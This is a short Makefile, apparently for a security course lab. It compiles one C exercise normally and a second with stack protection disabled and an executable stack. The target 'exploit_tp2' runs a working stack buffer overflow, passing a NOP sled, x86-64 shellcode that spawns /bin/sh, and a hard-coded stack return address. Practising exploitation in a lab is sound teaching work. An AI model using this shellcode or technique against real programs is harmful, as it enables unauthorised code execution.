tp1:
	gcc -Wall -g tp1.c -o exec
	./exec
	gdb ./exec
tp2:
	gcc -g -fno-stack-protector -z execstack tp2.c -o exec

exploit_tp2:
	./exec $$(python3 -c 'import sys;sys.stdout.buffer.write(b"\x90"*(32*16+8-32)+b"\x48\x31\xd2\x48\x31\xf6\x48\xb8\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd8\x50\x48\x89\xe7\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"+b"\x60\xde\xff\xff\xff\x7f")')

gdb:
	gdb ./exec
